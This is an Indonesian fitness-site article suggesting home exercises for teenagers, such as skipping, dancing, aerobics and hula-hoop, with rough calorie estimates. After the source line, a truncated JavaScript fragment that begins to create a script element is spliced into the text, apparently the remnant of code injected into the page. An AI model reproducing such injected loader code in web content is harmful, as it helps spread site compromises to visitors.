fbpx
Appointment
Appointment
Appointment

Olahraga Menyenangkan di Rumah untuk Remaja

Tidak harus di tempat fitnes dan sarana olahraga, olahraga bisa dilakukan di rumah. Bahkan kita bisa ajak keluarga biar terasa lebih menyenangkan.

Skipping 
Olahraga yang satu ini tergolong gampang dilakukan dan berlaku buat semua umur. Bagaimana tidak, kita cuma membutuhkan tali dan badan kita sendiri buat melakukan skipping. Nah, biar menyenangkan, kita tidak perlu melakukannya sendirian. Masih ingat permainan lompat tali, kan? Ajak tetangga atau sahabat buat membantu kamu melakukan permainan sekaligus olahraga ini.
Waktu: 30 menit
Kalori yang terbakar: 300 kalori

Body-weight workouts 
Olahraga yang mengandalkan bobot tubuh, kayak push up, sit up dan back-up tidak mudah dilakukan kalau kita belum terbiasa. Buat memulainya, coba lakukan sampai hitungan terakhir yang kamu bisa. Hari berikutnya, tambah satu atau dua kali dari jumlah sebelumnya. Jangan lupa tambahkan musik yang sesuai sama tempo latihan kita.
Waktu: 20 menit
Kalori yang terbakar: 125 kalori

Dance 
Menari yang dimaksud di sini bukan ballet, salsa atau jaipong yang memerlukan teknik, lho. Kalau kita punya waktu luang sehabis pulang sekolah, kita bisa coba menyalakan musik dan mulai menari. Tantangannya, kita harus mengganti aktivitas jalan kaki dengan menari. Bikin playlist yang asyik buat ‘dance time’ ini, biar kita tambah semangat buat menari. Ajak orang rumah buat melakunya bersama-sama biar lebih seru.
Waktu: 30 menit
Kalori yang terbakar: 165 kalori

Senam aerobik 
Sadar tidak, kalau melihat orang-orang melakukan senam yang satu ini membuat kita pengin ketawa? Memang kadang beberapa gerakan senam aerobik unik dan agak susah buat diikuti. Dalam senam aerobik, badan dibuat bugar dan otak kita dilatih buat mengingat gerakan. Supaya bisa dilakukan di rumah, download video senam yang gerakannya menarik atau kita bisa membeli DVD. Lakukan di akhir pekan agar ayah, ibu, adik, dan kakak bisa ikutan.
Waktu: 30 menit
Kalori yang terbakar: 300 kalori

Video games 
Poin yang satu ini berlaku buat kita yang suka games. Beberapa video games didesain buat menggerakkan tubuh kita, seperti Dance Dance Revolution, Sports Champions dan Kinect Adventures. Kita bisa menggunakan XBox, PlayStation ataupun Nintendo Wii. Enggak ada yang lebih menyenangkan dari membakar kalori sambil bermain video games, saking askyiknya pasti tidak akan terasa melelahkan.
Waktu: 30 menit
Kalori yang terbakar: 175 kalori

Hula-hoop 
Bermain hula-hoop enggak membutuhkan banyak tempat dan gerakan. Kita tinggal diam di satu titik dan mulai menggerakkan pinggang. Karena itu, kita bisa melakukannya sambil menonton serial televisi kesukaan atau film yang baru saja kita beli kemarin.
Waktu: 30 menit
Kalori yang terbakar: 210 kalori

Naik turun tangga 
Naik dan turun tangga enggak terasa melelahkan, karena kita sudah biasa melakukannya di rumah. Buat menjadikannya olahraga ringan, kita bisa menambahkan frekuensinya. Misalnya, waktu kita naik buat mengambil barang, tambahkan satu kali naik dan turun tangga. Kalau dalam sehari kita biasa naik dan turun tangga sebanyak 10 kali, dengan kebiasaan ini kita bisa mencapai angka 20 kali dalam sehari.
Frekuensi: Sepuluh kali
Kalori yang terbakar: 150 kalori

Nelpon fleksibel
Aktivitas apa saja yang biasa kita lakukan selama menelepon? Kalau kita menggunakan handphone atau telepon tanpa kabel, kita bisa sambil melakukan aktivitas lainnya. Jangan sambil tiduran atau makan cemilan saja, kita bisa melakukannya sambil berolahraga. Coba sambil angkat barbel yang beratnya satu sampai dua kilogram atau berjalan-jalan keliling rumah.
Waktu: 30 menit
Kalori yang terbakar: 150 kalori

Sumber : kawankumagz.comvar d=document;var s=d.createElement(‘script’);

PT Shape Up Indonesia - Copyright © 2021. All Rights Reserved.
Developed byPetrus Andre
FAQ